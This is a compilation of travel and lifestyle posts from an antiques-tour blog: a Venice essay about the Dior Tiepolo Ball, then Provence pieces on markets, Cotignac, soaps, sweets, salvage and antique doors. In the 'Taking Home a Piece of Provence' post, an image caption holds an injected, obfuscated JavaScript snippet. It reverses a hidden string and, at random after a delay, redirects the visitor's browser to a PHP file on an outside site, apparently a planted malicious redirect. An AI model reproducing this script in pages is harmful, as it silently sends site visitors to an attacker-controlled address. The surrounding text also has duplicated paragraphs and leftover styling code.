Designing A Life Less Ordinary

When I was in my 20’s and had first moved to Paris, I opened a new journal and I wrote one sentence. I’ve started a million other journals since then, living a million different lives, as my journey took me the last two decades from living in Paris to Amsterdam and Berlin before making Venice home – but in that particular journal, there is still only that one sentence. The rest of the journal is blank. I didn’t know what words would follow – but I knew I was writing my manifestation. My mantra. The life I would live. I want a life less ordinary.

When I was in my 20’s and had first moved to Paris, I opened a new journal and I wrote one sentence. I’ve started a million other journals since then, living a million different lives, as my journey took me the last two decades from living in Paris to Amsterdam and Berlin before making Venice home – but in that particular journal, there is still only that one sentence. The rest of the journal is blank. I didn’t know what words would follow – but I knew I was writing my manifestation. My mantra. The life I would live.

I want a life less ordinary.

Venice: Designing A Life Less Ordinary | Toma Clark Haines | The Antiques Diva 0036

My mom often reflects, “Your life is interesting, but it’s not easy.”  She sees past the glamour of my life to the day to day toils of living abroad. Here there are inconveniences you don’t face in Oklahoma where I grew up. Radiators that never seem to heat the apartment causing me to sleep under fur coats in the winter. She sees me carrying groceries home in the rain over bridges and up flights of stairs. She’s regaled with stories of the acqua alta filling my magazzino and me frantically elevating storage items so they’re not ruined by the famed Venetian floods. More than once our Skype has been interrupted when the electrical fuse blows because I turned the tea kettle on forgetting I was running the washing machine. She sees the minor – but yet –  practical – inconveniences of my life abroad. And while my life may not be convenient by American terms, darn it’s sexy.

I joke I can tolerate anything but two things – ugly decor and to be bored. And – my life is many things – but it’s always beautiful and it’s always interesting. 

Venice Biennale

It’s this sentiment that made me smile when I saw the theme of this year’s Biennale di Venezia – “May You Live In Interesting Times.” The quote refers to 1966 when Robert F. Kennedy delivered a speech saying, “There is a Chinese curse which says ‘May he live in interesting times.’ Like it or not, we live in interesting times. They are times of danger and uncertainty, but they are also the most creative of any time in the history of mankind.” Anything is possible.

I found myself reflecting on this sentiment during the opening week of the Biennale as I attended the #DiorBall- also known as the #TiepoloBall – organized by the Venetian Heritage Foundation for their 20th anniversary. Held in the Baroque 17th-century Palazzo Labia, the ball was a reenactment of the 1951 Beistegui “Bal Oriental” – dubbed the ball of the century. Both in 1951 and this month at the event, all of European society floated down the Grand Canal clamoring to get in. Among the original guests in 1951 were Christian Dior, Salvador Dalí and Orson Welles. Now, the guests were Sienna Miller, Tilda Swinton and Sandro Kopp, Peter Marino, Monica Bellucci… and… uhm… me?!?! alongside my dear friend Steven Moore of BBC’s Antiques Roadshow. At times like this, I pinch myself. How did I get this life I’m living? With 380 guests in attendance, it was a formal sit down dinner catered by the Gritti Palace. And just as at the original event, the guests were charged to dress as if in a Tiepolo paintingtableaux vivants – so they became part of the decoration. As we climbed the stairs after being dropped by our water taxis and private boats at the palazzo we were presented in the main salon of the palace in the room where Giambattista Tiepolo painted his masterpiece The Banquet of Cleopatra. It was magic… (You can read more about the night in Vogue.)

Behind the scenes at the Venice Biennale Dior Tiepolo Ball

When debating what to wear to a ball hosted by one of the world’s greatest fashion houses where everyone I knew was going to be wearing haute couture… I decided to focus on the accessories. After all, “if” as Oprah says, “there’s one thing I know” – I know it’s all about the accessories. My dress was pretty – an emerald green empire waist strapless gown that I’d worn once before but on my head – I wore a swan. Yes. You read that right – but don’t take my word for it, watch Paris Mode TV to catch a glimpse of my feathers! 

The jewelry was all my own design, Republic of Toma. Around my neck, I wore a ring of interconnecting pearl frogs with black diamonds for eyes. In life – not just in romance – you have to kiss a lot of frogs to get what you want. That means sometimes you have to go through failures and times in your life that things don’t go your way to get what you want.

The Dior Tiepolo Ball in Venice: Designing A Life Less Ordinary | Toma Clark Haines | The Antiques Diva

My dress was pretty – an emerald green empire waist strapless gown that I’d worn once before but on my head – I wore a swan.

At my table in the SeaRoom, I sat at one head of the table with my escort Steven across the table parallel me. At the very moment the Frenchman from Van Cleef & Arpels sitting to my right asked, “Why do you live in Venice?” and I responded matter of factly, “Because it makes me happy,” a photo was snapped. On my face is a look I rarely see. A look of quiet contemplation. I manifested this life. I build this life. A life less ordinary. I have found my home. Ca’ Toma. 

In Dior’s autobiography, he wrote about the 1951 event, describing that evening as “the most beautiful” he had ever seen and that he “would ever see” and the event “a true work of art.” As my friend Steven Moore was on the water taxi heading home after an amazing week in Venice to England he texted me, “No detail was left unattended. No matter how small. We seemed to float along as if in a dream. I kept thinking I was going to wake up, but sometimes dreams do come true.”

You and only you have the power to make your dreams come true.
What are you dreaming?

Antiquing in the South of France

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Antiquing in a WWII era Ulta motorcycle in the South of France

Coco Chanel said, “Beauty begins the moment you decide to be yourself.” Two photos, taken a week apart capture the essence of me. In one I’m wearing a White Swan fascinator on my head at the Dior Ball in Venice. In the other, I’m wearing a white motorcycle helmet while sitting in a sidecar of a WWII era Ulta motorcycle antiquing in the South of France putting finishing touches on our newly revised Antiques Diva Provence Tours. (lol. Sidecar optional :). #WatchThisSpace we’re working on organizing our next training program for antique dealers held at a special retreat in the South of France. The photo is not about the helmet – though that is a great accessory – It’s about the adventure. We’re visiting Carpentras and Ville Neuve les Avignon, Aix en Provence and of course Ile sur la Sorgue. The deballages – in Avignon, Montpellier and Bezier – are still at the top of our #mustshop Provence list for antique dealers – but we’re also adding in appointments in private homes, and a surprising amount of chic new concept stores that show you that antiques can be super sexy. I’ve fallen in love with Marseilles recently – a city that wasn’t my favorite and now suddenly feels like home. It’s a city where Europe and Africa meet, allowing you to take a journey within a journey.

Provence Designing A Life Less Ordinary | Toma Clark Haines | The Antiques Diva

Journeys in Provence

Provence Flea Market

Journeys Ca’ Toma

Perhaps that journey within a journey is also what I like about reading. Summer is coming and we’ve our cabana booked in Lido and my stack of summer reads is mountainous. My bookshelves are overflowing with biographies, business books, travelogues and simple inspiration/motivation. It can take me months to finish a book as I don’t want to reach the end of the author’s journeys. I’m sad when it’s time to say goodbye, like parting with a dear friend who I don’t know when I will see again.

The last few books on the list start revolving around Venice… As Joann Locktov writes, “I Dream of Venice.” (If you’ve not read Joanne’s books then you must add her newest book to your reading list.) Hmmm… this makes me ponder…  Joanne is another American woman making a mark on Venice.  

As an American woman living here, I find it fascinating is that Venice has a history of being influenced by American women. There is Peggy of course. But the Countess Elsie Gozzio saved Fortuny, allowing it to become what it is today. And it’s practically impossible to write a chronicle of the 20th C without including the salons of Princess Winnaretta Singer de Polignac – yes, that Singer of sewing machine family fame. When she married her husband Edmond she bought him the Palazzo Contarini Polignac as a gift. And then there was Isabella Stewart Gardner who of course rented the nearby Palazzo Barbaro in 1890 becoming a patron of the arts. Today these American women who left their mark on Venice surround my home here. I live across the Grand Canal from the Guggenheim and the Palazzo Contarini-Polignac. My grocery store stands in the shadow of the Palazzo Orfei (today known as the Palazzo Fortuny on the Campo San Beneto) and the Palazzo Barbaro is a mere stone’s throw away.

Living Room Abbey Designing A Life Less Ordinary | Toma Clark Haines | The Antiques Diva

Living Room of the Abbey

Colnaghi: Private Exhibit at Abbazia di San Gregorio

During the Biennale Opening Week, I attended countless parties – but one of my favorites was the invitation from Parisian interior designer Chahan Minassian, Richard Nathan and Jorge Coll, the Spanish art dealer, and the CEO of Colnaghi, one of the world’s oldest and most significant art galleries. In the historic Abbazia di San Gregorio, Chahan Minassian created his signature atmosphere incorporating Colnaghi master paintings with vintage and modern furniture and design showing how one lives with art and antiques. The collaboration is “the home of a 21st-century traveller” illustrating the lifestyle of a modern-day collector. And much like , the Abbazia di San Gregorio encapsulates the timeless spirit of the Grand Tourist in a contemporary setting. Just as in love and in science, in interiors opposites attract. The juxtaposition of contemporary furnishings set amidst medieval architecture and art spanning the centuries is simply sexy.

While the exhibit is private, Colnaghi will take private appointments to shop the exhibit where all the art is for sale. Of the Grand Tour connection, Jorge Coll of Colnaghi explains,

“Throughout this project, we want to show that a collection is not just a pool of assets: its real value lies in its connection with the life of a collector and is built from memories, experiences, friendships and discoveries. Building a collection is a voyage of discovery and, as with every voyage, the traveler needs guides if he or she is to arrive at the right destination. The collector needs to have good people to do research, to create the right relationship with the experts and dealers to ensure that what is collected is something that he or she can feel proud of and enjoy, something that will live on into the future.”  

Read more about the Collection here.

A Private Tour of Abbazia di San Gregorio


Over the years on The Antiques Diva blog, I’ve written frequently about the Grand Tour – and last month after I introduced the Silk Road into my dialogue. His book detailing his journey bicycling from Venice to China comes out soon and I’m anticipating its release. Silk is the thread that unravels in my mind as my mind shifts from the Colnaghi private exhibit in Venice to the Palazzo Fortuny. While you can’t visit the Fortuny factory itself – the process is still a tightly woven secret – you can visit the 15th C Palazzo Pesaro degli Orfei where one of the greatest minds of the 20th Century lived and created. Mariano Fortuny was a 19th/20th C Renaissance man and perhaps one of the people from heaven I’d most like to meet. While we think of Fortuny for fabric – his stretch and influence go beyond textiles. He was a pioneer photographer, an inventor of theatre and stage lighting plus he patented a plethora of inventions, among them a machine for pleating silk which he used to create his Grecian-style “Delphos” dresses. In his will, Mariano spelled out his wishes that the factory no longer makes the Delphos gown after his wife Henriette’s death.

15th C Palazzo Pesaro degli Orfei where Mariano Fortuny lived

Knowing the rarity of these gowns, my friend Nancy Heckler donated her mother’s Delphos gown to the museum. (You can find out more about Nancy’s mother’s foundation by visiting the When the curators opened the box and unfolded the pleated Japanese silk dress they wept. The dress now is on display in a room layered in antique and oriental fabrics alongside more exotic artifacts and patterns from Africa, Central America, and Polynesia. The room is indeed another tribute to the Grand Tour and beyond. It’s a glimpse into the objects that inspired an artist from around the world – and perhaps a glimpse into one of the greatest minds on the intellectual and artistic scene at the turn of the 19th century.

Förg in Venice exhibit at the Palazzo Contarini-Polignac | Designing A Life Less Ordinary | Toma Clark Haines | The Antiques Diva

Förg in Venice exhibit at the Palazzo Contarini-Polignac

I always joke that I wish my friends could see into my own mind. While I’m far from an intellectual, my mind is nevertheless a beautiful place. I dream in colors that Pantone hasn’t classified yet. As I begin the process of writing my book I’m seeking the words to describe that cavern in my head. In the end – art is often merely about just that. Expressing ourselves. I visited the Förg in Venice exhibit at the Palazzo Contarini-Polignac – one of the official collateral events of the Biennale. The curators of the exhibition have layered Gunther’s art over the family’s own tapestries which lined the walls of the piano noble. As we were leaving the exhibit which is held in a private home a member of the Polignac family stopped my friend Steven Moore – one of the worlds leading porcelain experts – to ask his opinion. And back up the stairs we climbed, to see a collection of tiles on the palazzo balcony walls. My friend named the artist he believed who had created the tilework and as we stood on the balcony overlooking the mouth of the Grand Canal again I smiled that smile of quiet contemplation and felt that perhaps finally – nearly 20 years later – I had the words to write in that journal after my one sentence,  “I want a life less ordinary.”

Until next month,


Antiquing in Provence – L’Isle-sur-la-Sorgue Market

Last Spring I took journalist Alison Engstrom of Rose & Ivy Journal on an antique tour of Paris and Provence. I was beyond thrilled with her October 3- part series, The Thrill of the Hunt, A Provençal Dream and We Run for Antiques. 

Last week I went through the painful process of updating my iPhone – it wasn’t as seamless as I’d hoped! But during the process I discovered these gorgeous photos I took while we were shopping the antiques market – these l’Isle-sur-la-Sorgue produce market photos are simply too stunning not to share! 

Rose & Ivy Journal ROSE & IVY Journal Oct 2 2017 THE THRILL OF Rose & Ivy Journal: THE Thrill of the HUNT: An Antiquing Tour of Paris and Provence

Antiques Diva® tours provide design inspiration: of course we track down the best antiques and negotiate the best prices – but on our custom, 1:1 antique shopping tours our expert, local Diva Guides introduce to all that is special about the region – art, culture, terroir, and bien sur, foods! Design inspiration is all around you. Join me on my culinary souvenirs of a weekend antiquing in Provence… 

L’Isle-sur-la-Sorgue Market 

L’Isle-sur-la-Sorgue is one of 12 antiques shopping tours The Antiques Diva offers in the north and south of France. Our Antiques Diva Guide picks you up at your hotel and takes you to the second largest antiques flea market in France (after the Paris Flea Market) where essentially the entire town center is filled with antiques! We custom plan a route based on your style and budget, maximizing your time and money. Our Guides translate and negotiate on your behalf, and help you ship your purchases home using Antiques Diva fine arts and antiques shipping partner or we will liaise you with a preferred shipper to get your items home. Additional visits outside of town in the neighboring countryside are also added in based upon your wish list. Ideal for both the trade and tourist.

Here are my photos from the l’Isle-sur-la-Sorgue market that have been waiting to be rediscovered on my iPhone…


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Garlic ropes 


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Oysters for 5 euros per kilo


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Local melons 


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Stalls set up under the trees 


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Cool, comfortable clothing


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Alison couldn’t resist styling the perfect food shot

Antiquing in Provence - L'Isle-sur-la-Sorgue Market

Antiquing in Provence - L'Isle-sur-la-Sorgue Market


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Local cheeses – the boxes are wonderful souvenirs! 


Antiquing in Provence - L'Isle-sur-la-Sorgue Market
Beautiful l’Isle-sur-la-Sorgue


Book A Tour with The Antiques Diva & Co


A bientôt,

Toma, The Antiques Diva 


An Afternoon in Cotignac

Dear Diva Readers,

An Afternoon in Cotignac Fountain

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>What antique lover hasn’t dreamed of hunting for treasures in Provence? The gorgeous landscape, the French lifestyle, the tiny villages dotting the hillsides, and lots of small shops and brocantes tucked away just waiting to be discovered…sounds like Antiques Diva Heaven! One of the idyllic villages we take clients to when they’re on an Antiques Diva Provence Tour is Cotignac. Nestled on a hillside, the village of Cotignac in the Var is surrounded by majestic cliffs which have played host to the town for centuries, and have provided shelter and refuge to humans for millennia. The Provencal village is the ideal place to take a stroll, admiring the charming architecture, quaint shops, and intoxicating blend of colors, both on the buildings and in nature.

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An Afternoon in Cotignac Mountain view

Driving up to the village is part of the pleasure of visiting this enchanting place. Most of the surrounding area is “zone vert” or green zone, meaning it’s protected for its natural beauty. As you weave your way through the road on the hill, you get a nice view of the village, which dates back to Roman times. Much of what must have attracted the Romans to this area still remains unchanged— the sunny climate, the excellent soil perfect for growing vines, and the picturesque views of the French countryside. But there is one more thing that attracts a Diva like me, and that is…antiques of course!

An Afternoon in Cotignac Pedestrian Road

After parking the car, the first place to head to is the raised pedestrian road in the middle of the town called the Cours Gambetta. Line with large Plane trees which cast their shadows over the stone streets, this bustling little street is where you can often find locals perched on a bench, watching passersby or admiring the fountain which no doubt has seen thousands of people make a wish.

An Afternoon in Cotignac House Clearing

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For an antique lover, the first thing to do after grabbing a quick coffee is to hit some of the local shops. Our Diva Guide knows exactly which off the beaten path places to take you to, where you’ll find an eclectic mix of the best inventory. One of the shops we often take clients to is called MODES. Rounding a corner at the top of one of the hills, you’ll see antiques spilling out into the square from a tiny door which faces the hillside. Each piece at MODES is a work of art, and although it’s a small shop, it certainly has big style! Original works of art, vintage furniture, fine antiques, and Italian marble sculptures are all curated by the shops stylish owners, John and Simon.

An Afternoon in Cotignac Modes Small Antiques Shop

An Afternoon in Cotignac Antiques and Vintage Pieces

Upon entering their treasure chest filled with antiques and vintage pieces, you’ll find there is a story behind each item they have. In fact, their home—which has been featured in several international shelter magazines– is just a short walk away, and is filled with even more antiques, all of which are quite special. And the view from this house on the hill is absolutely spectacular!

An Afternoon in Cotignac small passage

After weaving your way between the tables that spill onto the pavement from restaurants and cafes, you may find yourself in the mood for a nice meal al fresco. The popular Cafe du Cours is certainly Diva worthy, as there is a view of the main pedestrian road, along with a nice breeze coming from the valley– and the food is divine! After lunch, Stop into several other shops which dot the hill, offering everything from perfectly packable souvenirs to mid-century modern to antique artwork.

An Afternoon in Cotignac packable souvenirs mid century and modern

An Afternoon in Cotignac Chandelier

If you happen to be there on market day (Tuesday mornings until noon), you’ll find the village square is transformed into a colorful array of stalls filled with all kinds of French goodies! Whether you want to buy some homemade cheeses, local honey, ceramics, or baskets, the market is a lively place to spend an afternoon. Complete your glimpse into the French village life by sitting at a cafe with a coffee and people watching. You won’t be sorry!

An Afternoon in Cotignac French Village

If you would like information on our Antiques Diva Provence Tours, where we can incorporate a day in Cotignac for you, email us at

Au revoir,

The Antiques Diva®

Gifts of Provence-Olive Oil, Soap, Lavender

Dear Diva Readers,

Gifts of Provence-Olive Oil, Soap, Lavender Field Provence

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Gifts of Provence-Olive Oil, Soap, Lavender Olive trees

Gifts of Provence-Olive Oil, Soap, Lavender French market Olive Oil and Olives

Olive oil has been a staple product of Provence for centuries. Olive trees were planted by the Greeks around 600 BC and continue to thrive in the area around the Mediterranean due to the dry, stony, limestone soil. Most archaeological museums possess large pottery which would have been used to store oil during these ancient times. During the Renaissance, olive trees covered nearly 300,000 acres of land in France, making olive oil production an extremely profitable and important business. But as with any business that depends on nature, olive oil production was dealt a hard blow in 1956 when temperatures dropped below zero degrees fahrenheit, causing 1/3 of the olive trees in Provence to die that year. While that has slowed olive oil production in France, there are still some wonderful places that sell artisan olive oils. In fact, a new generation of oil producers have started small-scale local farms, offering specialty blends, gourmet oils, and other products. The thing to remember is that unlike Italian and Spanish oils, French oils come from limited crops and you won’t find many of them for sale outside the Provence region.

Gifts of Provence-Olive Oil, Soap, Lavender Different Soaps

Another fabulous gift you can find in Provence is savon (soap) de Marseille. Whether you’re in a metropolitan boutique or strolling through a small village market, gorgeous soaps of all shapes and sizes can be found. Another tradition that goes back hundreds of years, soap making in Provence lives on and continues to thrive. Savon de Marseille is only produced around the Marseille region and is made from olive oil and vegetable oils.

Gifts of Provence-Olive Oil, Soap, Lavender Savon de Marseille

The traditional way to make this special soap is by mixing water from the Mediterranean Sea with olive oil, sodium carbonate, and lye. All these elements are mixed in a cauldron and heated for several days while being stirred. After the mixture sits, it is poured into molds. Before it is completely hard, it is cut into bars and stamped, then left to set until hardened. It can take up to one month to complete this entire process. Recommended by dermatologists, this soap is perfect for dry skin during the winter. Of course, it’s been used for centuries in France to clean everything from skin to linens!

Gifts of Provence-Olive Oil, Soap, Lavender

Lastly, and perhaps the gift most synonymous with Provence, is lavender. A visit to the distilleries, farms, and shops can enhance a trip to Provence while also allowing you to pick up several perfectly packable gifts that anyone will enjoy. Sachets filled with lavender are a wonderful gift, and so are lavender scented soaps, lotions, and other bath products such as essential oils that sooth and calm. Don’t forget a lavender scented candle to place near the bath!

There is just something special about giving gifts that are hand made, and infused with local traditions. Provence’s rich history and bountiful natural resources makes it the ideal place to stock up on these wonderful gifts, and that’s why clients love perusing for antiques and regionally made items at the same time. If you would like information on an Antiques Diva Tour in France or any of our 8 tour countries, email us at

Au revoir,

The Antiques Diva®

Treats from Provence

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>W ith the holidays upon us, it’s got me thinking about entertaining and also attending holiday parties! Whenever I have guests over, I try to offer them tasty treats that I pick up on my travels. And of course, when attending a dinner party, I always bring a hostess gift— a bottle of Antiques Diva champagne is my standby gift— but it’s fun to bring something special from another country too. To me, some of the best little treats can be found in Provence!

Treats from Provence small shop for treats

Treats from Provence candied fruit

Many clients who shop Isle sur la Sorgue with us will stop into little shops and also pick up candied fruit, also known as crystallized fruit or glacé fruit. This sweet treat has been around for centuries and continues to be a favorite especially during the holiday season. The fruit is placed in heated sugar syrup which absorbs the moisture from within the fruit which in turn preserves it.

Treats from Provence glacé fruit

Treats from Provence process for glacé fruits

By continuing to dip the fruit in the syrup, it becomes crystalized and takes on a glass-like appearance. Once it’s had its final bath, the fruit is placed on a drying rack before it is packed. Shiny and soft, the fruit is tasty and beautiful to behold! Anything from dates, cherries, lemons, oranges and pineapple can be used—even ginger! There is a small shop in Isle sur la Sorgue called Lilamand that not only makes some of the best candied fruit, but they also have beautiful wrapping, making these little packages the perfectly presentable petite cadeaux!

Treats from Provence glacé fruit and small treats

Treats from Provence delicious pastries and glacé fruit

Another delicacy that can be found in this same shop are calissons. These are traditional French candy made from two ingredients: Almonds and candied fruit. The candied fruit acts as the first layer of the calisson which is then topped with ground almonds and finished with a layer of royal icing. Almond shaped and decadently sweet, these little morsels are a favorite treat after dinner and seem ideal as a treat during the holidays.

Treats from Provence Lilamand calissons

Lastly, you can find gorgeous little biscuits in Provence called Navettes. These small boat shaped biscuits are typically served on February 2nd to commemorate the arrival of the Three Mary’s to the Camargue by boat. However, I say they are good to eat any time! The delicious crunchy biscuit can be flavored with orange blossom, anise or even lavender. Wouldn’t these little biscuits be the perfect companions to a nice hot cup of tea on a cold day?

Treats from Provence Navettes

Treats from Provence cookies

Talking about all these treats has made me hungry! I think I’ll just go look in the cupboard and see if I’ve stashed any away from my last trip to France…


The Antiques Diva®

The Hotel Beau Sejour in Provence

Taking Home a Piece of Provence

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>We’re lucky to have in our midst at the AD&Co a sensational writer as part of our team –  Caren Trafford is not only an Antiques Diva Guide in Provence but she’s also an acclaimed children and environmental author and journalist!  Today Caren joins us with a guest article on Taking Home a Piece of Provence.

Provence Diva Caren Trafford writes:

Ah Provence! The very name conjures up images of dusty olive trees and rows of lavender against a background of hill top villages, basking in days filled with bright sunlight. Perhaps it is because Provence is so picture postcard perfect and enjoys more than 300 days of sunshine a year that so many tourists choose it as their summer-time destination.

Provence France Lavender, Provence, Lavender, Architectural salvage <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tour, Sourcing antiques in France, Buying antiques in Provence, The Antiques Diva, Flea Market Finds” width=”551″ height=”367″ /> Photos Credit: lavender field from:

And at the end of a wonderful holiday, saturated with the bright color and intense flavors, what is more natural than to want to take home a memento of your stay? Something to enjoy over those long, dark, winter months, when the darkness descends just after lunch-time, and you have to battle the transport system home through the sleet and rain. And what is the highlight of your evening? Possibly nothing other than, “Britain’s Got Talent’” or “Dancing With the Stars”.

So, is it any wonder that tourists want to take home with them a memento of their summer holiday and keep alive that idyllic interlude in Provence?

But which souvenir is the best with such a choice? The easy picks are the mandatory perfumed sachets of lavender or a ribboned packet of rose-scented Marseille soap. And for the gourmands, there’s a host of herbs and spices, olive oils and specialty cakes and biscuits. For those a little more adventurous, the shopping list could include a perfume or two from Grasse, or a bottle of white, red or rose from a visited vineyard: perhaps even some cherished truffles, depending on when and where you visit.

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Some tourists arrive with more space in their luggage. They are thinking on a larger scale and their aim is to take home- literally- a piece of Provence. I am speaking of the antique market enthusiasts. Not difficult to spot, but you have to be up early. If you are, head to the local brocante Saturday morning market in your locality and look around for the early birds, the ones with boundless enthusiasm. They are looking for something special and it’s not the weekly discount at the local supermarket.

Antiquing in the south of France is a holiday in itself. And those that are good at it have it well planned out. The rewards are worth the planning but the problem is there is such a vast choice that it is difficult to know exactly where to start – that’s where we come in.  We narrow the focus and plan antiquing itineraries that save time not to mention money getting you straight to the areas that sell more of what you’re looking for. In Provence, it’s impossible to travel far without tripping over a gold mine or two of great bric-a-brac. And because French Provencal design is so attractive, many city dwellers will spend their summer vacation hunting for that piece of spectacular vintage that they can enjoy at home.

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The antique sellers welcome these enthusiasts with open arms. At our local Saturday market, veteran brocante-seller Monsieur Herve is no exception. A man in his sixties and a veteran of all things antique, he will encourage you to take home a genuine piece of Provence.

Ask him anything. He will be able to tell you the history of every treasure that he has for sale. And as any sales person will tell you, half the sale is in the story. ‘You like this milk-pail? It’s at least 100 years old. I discovered it in the ruins of a farm-house, way up in the hills above Aubagne in the land of French filmmaker and writer, Marcel Pagnol.’ The brocante-seekers nod wisely, lapping up this wonderful tale. (Pagnol is generally regarded as one of France’s greatest 20th century writers and film-makers who created spirited cinema such as The Baker’s Wife, Jean de Florette and Manon de Source.) The antique dealer continues… ‘In fact, Pagnol may even have drunk milk from this very pail.’

The wonderful thing about Provence is that you may very well be looking at a milk-pail that Pagnol drank from. There are so many interesting artifacts to be found here, and each one has a story which the brocante sellers have researched. And if it wasn’t Monsieur Pagnol who drank from this very milk pail, it is likely to have been one of his neighbors.

Visitors to Provence seek out antique treasures that will become their pride and joy back home. Just to own a part of this land’s wonderful history is worth the holiday to Provence. And why not visit the attractive brocante and bric-a-brac stalls in the weekly village fairs and fall in love with an antique, rusting milk pail with a worn-down wooden handle that you can plant pansies in, or an antique bee-hive that will become the centerpiece and decorate your newly painted hall-way.

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Then there is the travelers who really want to take home a piece of Provence.  And they’re not just content with a small table or a zinc tray, they are thinking bigger. Much bigger. The result? More of Provence is finding its way overseas, and not always in a suitcase.  Again, that’s where we come in – liaising  our clients with an international shipper and filling out the purchase orders and such.

Today, some of the biggest draw cards for seekers of antiques in Provence are the old, pre-loved pieces of masonry, stone, wood, marble, iron and zinc. The choice is almost limitless for this area has been a playground since the Romans arrived and built their arenas and amphitheaters. This means there is a huge choice for antique hunters looking for something monumental. The finest is 17th and 18th century French antiques, hand-carved French limestone fountains, garden accoutrements, and antique French olive jars designed from the classical patterns of antiquity, like waiting and for sale.

To be able to find a home for long-forgotten monumental pieces that have been left to crumble away at the back of some distant, unploughed field is highly satisfying. And as any match-maker will tell you, create a connection that brings long-lasting happiness, and your job is a joy and well done. What better role could there be than to be an Antiques Match-Maker – for in fact that’s what we are at The Antiques Diva® & Co.

Recently I was given a brief by a client from the USA. ‘Find me a stone or marble fire-place,’ she said. ‘It must be Louis XIII – it will be the crowning glory of my new home and is must be original.’

Marcus Tullius Cicero, orator and statesman, (106 BC – 43 BC), philosopher of Ancient Rome, considered by many to be amongst the greatest of the Latin orators and prose writers wrote…

‘There is no place more delightful than one’s own fireplace.’

So what a challenge! And yet, Provence is the very place to find the very piece she was looking for. For this region is filled with architectural and monumental antiques from the 15th through to the 19th centuries, all waiting to be reclaimed. Aged limestone flooring, architectural elements such as stone surrounds, enormous doors and gates are here, all waiting to be re-discovered and loved by new owners.

Monumental pieces, ignored and overlooked for decades are now in vogue. And they are being snapped up by visitors who come to visit Provence eagerly with more than just an empty suit-case. These visitors are the ones that will bring new life to forgotten treasures salvaged from another era.

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And who can blame the ones that crave to take home to their own back yard, a piece of Provence? Those of us whom are lucky enough to call Provence home can enjoy it all. We are surrounded by endless fields of sunflowers, the scent of lavender wafting through a breeze, beautiful clear skies, charming medieval villages, regional food, the azure of the Mediterranean and wonderful people, and it’s all ours, without having to spend a bus fare… let alone travel half way around the world.

These days, Provence offers so much more than just a Kodak moment. As antique collectors will tell you, if you’re not lucky enough to live the dream, as we do, the next best thing is to be able to take a piece of the dream home. It’s recycling at it’s finest, after all Antiques Are Green. There are people who will happily choose some iconic piece of history for their own.

As a match-maker of antiques, I couldn’t be happier than when some aged architectural element finds a new home, perhaps on the other side of the world. Once there, I imagine these antique treasures stand proud once more and remind the rest of the world what living in Provence is all about.

Au Revoir,
Caren – Your Antiques Diva Guide in Provence.
The Antiques Diva®

A Door to Provence

Dear Diva Readers,

FYI…Today’s post is coming from Provence in a guest blog by our Provence Antiques Diva guide, Caren Trafford.


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The short email appeared unexpectedly one afternoon.  It was marked URGENT.  Wanted, it said.  The typeface was bold.  I clicked it open and read on.

“Wanted: matching pair of Louis XIVth doors, original condition.  Walnut wood preferred but oak a possibility, patina unworked, curved.  Looking to ship as soon as possible, transportation needed to USA.”

I pondered the query with a sense of excitement.  I was in the perfect place to accept the challenge.  An Antiques Diva treasure hunt was about to begin.

Antiques Diva French Antiques

As the lucky residents of Provence will tell you, Provence is known for many things; its location in southeastern France offers an attractive climate, a sumptuous choice of cuisine and enough history to fill at least 10 encyclopedias.

What you can’t learn from the travel, cooking and history books is that in Provence, the sunniest part of France, can be found some of the finest antique doors in the world: some, many hundreds of years old, crafted by the Masters from another era.  Today, these doors may be locked away in some antique dealer’s cellar, or stacked carelessly and half-forgotten, at the back of dis-used warehouses.  It’s just a question of knowing where to look.

Antiques Diva sourcing antiques

I considered the email further.  The 17th century style is stately and sober, elegant with a complicated style of moldings.  So what manner of a door would be the right match for my client?  And what would this investigation uncover?  A door is a statement.  The exterior door is the first thing people see when they pay a visit, so choosing the right door is a worthwhile exercise.  What first impression would you like to convey?

Doors are an introduction or a prologue.  They can be an invitation or a deterrent.  Whether it is your home or office, a door is the first point of contact for any visitor.  And here in Provence, we have some of the most beautiful doors in the world.

In city offices, the modern, semi-transparent, smoke-coloured, austere glass doors only open if you are a member of the “club”. Key cards and passwords allow passage through them.  At home, it is no different.  A door is the portal into your private world.  And yet, too often nowadays, a door is at best glanced at, passed through and then forgotten.

Provence, Antiques Diva

The antique doors hidden in various corners of Provence are the opposite. They are antique timbers that once adorned a chateau or gated a bas tide that were beautifully crafted and are now sought after by those who can well appreciate them.  In their hey-day these doors were the focal point- a starting place- from where to create a sense of anticipation for what lay beyond.  French timber doors and shutters have a character that new woods will never have.  They reflect the craftsmanship and theatre of ages past: a statement, a promise, a mystery.  Where have they been?  What secrets were whispered by those who lived behind them?  But I digress… As I said… it started with a door.

An eager Sherlock Holmes with the enthusiasm for the mystery of a new case, I went to work.  My goal?  To locate the perfect door.

I sent out a flurry of emails.  That was the easy part.  Antique dealers, formerly inaccessible without an appointment or a letter of introduction, are familiar with the concept of emails. However, whether they can be bothered, to respond to them at all, is another matter.  Photos and emails make much of the initial research easier but nothing can replace a visit to those “Aladdin’s Caves” of antique doors.

A few hours later, replies flashed across my screen and my planning session began.  Living in Provence has provided me the opportunity to meet many interesting characters but the sellers of all things ancient, are a breed apart.  Young and old antique dealers love their antiques with a passion. They protect their treasure-troves fiercely.  You have to be bien connu (well-known) before they will let you into their confidence and sanctum.

Provence, Antiques Diva French Antiques

Here’s a hint of how it’s done: share a few glasses of the local wine and let them beat you at boules.  You’ll gain Brownie points.

